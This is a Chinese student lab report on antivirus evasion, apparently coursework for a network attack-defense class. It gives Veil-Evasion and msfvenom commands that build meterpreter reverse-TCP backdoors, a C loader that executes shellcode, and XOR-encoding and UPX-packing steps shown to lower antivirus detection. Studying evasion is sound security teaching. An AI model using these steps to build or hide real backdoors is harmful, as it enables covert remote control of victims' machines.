20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
实验过程
Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.org/上进行扫描,有48%的杀软报告病毒。
如上图所示,39款杀毒软件中有20款报毒,可见实验二的后门不具有隐秘性,且国内的杀毒软件对此后门报毒率100%,可见国内的杀毒软件质量可靠。
接下来将对免杀后门做一定研究。
Veil-Evasion免杀平台
Veil-Evasion的安装
可使用以下命令完整安装Veil-Evasion。
echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list
sudo apt-get update
sudo apt-get install veil-evasion
Veil-Evasion的使用
在终端输入 veil 进入Veil-Evasion。
接着输入use evasion
之后依次输入以下命令:
use python/meterpreter/rev_tcp.py //设置payload
set LHOST 192.168.253.128 //设置反弹连接IP(kali的IP地址)
set port 443 //设置反弹端口443,默认为4444
generate //生成
5239 //程序名
输入文件名后选择1
1选项之后跟了一个default,选择后发现只能生成python文件、.py文件,但无法生成exe可执行文件,原因应该是系统未安装合适的python运行环境,于是,我们换成C语言的代码。
之后改变了设置payload的命令,改为 use c/meterpreter/rev_tcp.py 。
而后继续输入后面的内容,生成相应的文件:
在相应的文件夹下找到exe文件,将其拷贝至windows,进行免杀测试:
测试结果比之前的好很多。
接下来进行回连尝试:
回连成功。
利用shellcode编程实现免杀
使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.130 LPORT=443 -f c生成C语言的shellcode。
将其手动复制到code::blocks中运行,生成exe可执行文件。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char buf[] =
"此处省去若干行"
int main()
{
int (*func)()=(int(*)())buf;
func();
}
进行免杀测试:
进行回连尝试:
回连成功。
但使用第二种方法效果更好一些:
免杀进阶
压缩加壳
首先用UPX对生成的exe文件尝试压缩加壳
压缩后文件大小由28KB压缩成21KB,但是在免杀方面并没有什么显著效果,只比原来减少一个杀毒软件报毒。
修改shellcode
对shellcode进行异或,每一位数异或0x47,之后在数组调用前异或回来。
只有3个杀毒软件报毒,比起之前的检测结果有了好转。
对shellcode进行异或后再进行加压
结果比只进行异或多了一个杀毒软件报毒。
回连尝试
通过上述三种修改后的shellcode编译出的可执行均可回连成功。
基础问题回答
1、杀软是如何检测出恶意代码的?
恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
2、免杀是做什么?
对恶意软件做处理,让它不被杀毒软件所检测。
3、免杀的基本方法有哪些?
(1)加壳。
(2)对shellcode编码进行处理。
实践总结与体会